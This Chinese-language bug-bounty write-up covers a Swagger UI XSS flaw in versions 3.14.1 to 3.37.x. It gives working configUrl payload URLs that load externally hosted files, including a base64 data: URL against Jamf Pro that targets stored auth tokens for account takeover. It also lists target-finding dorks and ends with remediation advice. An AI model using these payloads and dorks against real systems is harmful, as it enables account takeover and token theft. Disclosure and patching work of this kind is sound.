白帽故事 · 2022年5月24日 0

Swagger-UI 从XSS到账户接管

背景介绍:

该漏洞已在 2021 年初修复,但是仍然能够在许多公司中利用它,例如Paypal、Atlassian、Microsoft、GitLab、Yahoo等等。

GitLab甚至为后来的存储型XSS给出了$2000的赏金奖励。

GitLab 存储型XSS漏洞

受影响版本:

受 XSS 影响的 Swagger UI 版本为 >=3.14.1 < 3.38.0,如果各位手里有之前挖到的Swagger UI站点,可以挖一波了哦,如果挖到的话,不妨跟我分享一下哈~

XSS POC:

?configUrl=https://jumpy-floor.surge.sh/test.json

而这个test.json文件真正指向的是test.yaml文件。

https://jumpy-floor.surge.sh/test.yaml

随便找个存在漏洞的Swagger-UI站点,测试一下:

漏洞搜索:

Google Dork:

intext:"Swagger UI" intitle:"Swagger UI" site:Target.com

GitHub Dork:

/swagger-ui-dist": "3.[1-3]/ path:*/package.json

账户接管漏洞:

这个漏洞在很多不同的系统中都很常见,白帽子在 Jamf 中也发现了它,那么 Jamf 是什么?

Jamf Pro 是适用于 Apple 平台的综合企业管理软件,可简化 Mac、iPad、iPhone 和 Apple TV 的 IT 管理

Jamf 通常在443或者8443的端口上运行,Swagger UI 可以在 /classicapi/doc/ 下找到。

Jamf Pro 将身份验证令牌存储在authToken密钥下的本地存储中,下面的 POC可以将Token从本地存储中打印出来:

POC有所不同:

?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==

账户接管:

https://VULNERABLE_JAMF/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==

漏洞产生原因:

主要漏洞点是DOMPurify2.2.3,因为存在漏洞的 Swagger UI 版本使用了DomPurifyversion 2.2.2。

漏洞修复:

在swagger-ui-dist文件中查找package.json,检查版本是否 >=3.14.1 < 3.38.0,修复漏洞也很简单,只需将Swagger-ui更新到最新版本即可,当然如果你无法升级整个Swagger UI软件的话,升级DOMPurify版本也是可以的。

漏洞发现过程

这个漏洞发现的过程还是挺有趣的,干货比较多,有兴趣的同学可以通过点击下方“阅读原文”跳转至文章原文查看,看看作者是如何绕过过滤最终发现这个漏洞,并成功获得$赏金的。